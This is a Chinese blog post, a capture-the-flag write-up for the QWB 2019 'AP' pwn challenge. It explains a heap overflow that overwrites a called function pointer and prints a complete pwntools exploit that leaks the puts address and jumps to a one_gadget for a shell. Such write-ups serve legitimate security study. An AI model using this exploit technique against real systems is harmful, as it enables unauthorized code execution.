qwb2019强网先锋-AP其它解题思路

idea

这边有个小的 tips,就是输入 1337 的时候会输出这个~,看来出题人和我一样被黄牛搞了,今年 ti9 的门票 499 的吵到了 2k;2k 的决赛门票被炒到了6k起步。。。太 tmd 的黑了

好了,来说正题吧,先看下保护情况和逻辑,把洞找到,保护全开orz。

1
2
3
4
5
6
[*] '/home/carlstar/Desktop/task_main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

在 get 和 open 那里有个溢出,而且会把 puts 和堆的地址放在了堆上。

在 open 那里会 call rdx ,如果可以控制 rdx 那么直接 call onegadget 不就 getshell 了。经过测试在 call rdx 的时候,参数就是堆地址,rdx 就是 puts 的地址。直接通过堆溢出修改参数就好了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

t = remote('192.168.5.176', 9999)

#t = remote('49.4.15.125',32036)


def g(length,name):
t.sendlineafter('Choice >>', '1')
t.sendlineafter('name:\n', str(length))
t.sendlineafter('name:\n', name)




def o(index):
t.sendlineafter('Choice >>', '2')
t.sendlineafter('open?\n', str(index))
#t.recvuntil('\n')


def c(index,length,data):
t.sendlineafter('Choice >>', '3')
t.sendlineafter('name?\n', str(index))
t.sendlineafter('s name:\n', str(length))
t.sendafter('name:', data)


magic = 0x45216



raw_input()
g(32,'aaaa')
g(32,'aaaa')
c(0,100,'a' * 48 + '\x68')
o(1)
t.recvuntil('\n')
addr_puts = u64(t.recvuntil('\n',drop = True).ljust(8,'\x00'))
log.info(hex(addr_puts))
one = addr_puts - 0x06f690 + magic
c(0,100,cyclic(56) + p64(one))
o(1)


t.interactive()
文章作者: Carl Star
文章链接: http://carlstar.club/2019/06/22/qwb2019/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo
打赏
  • 微信
  • 支付寶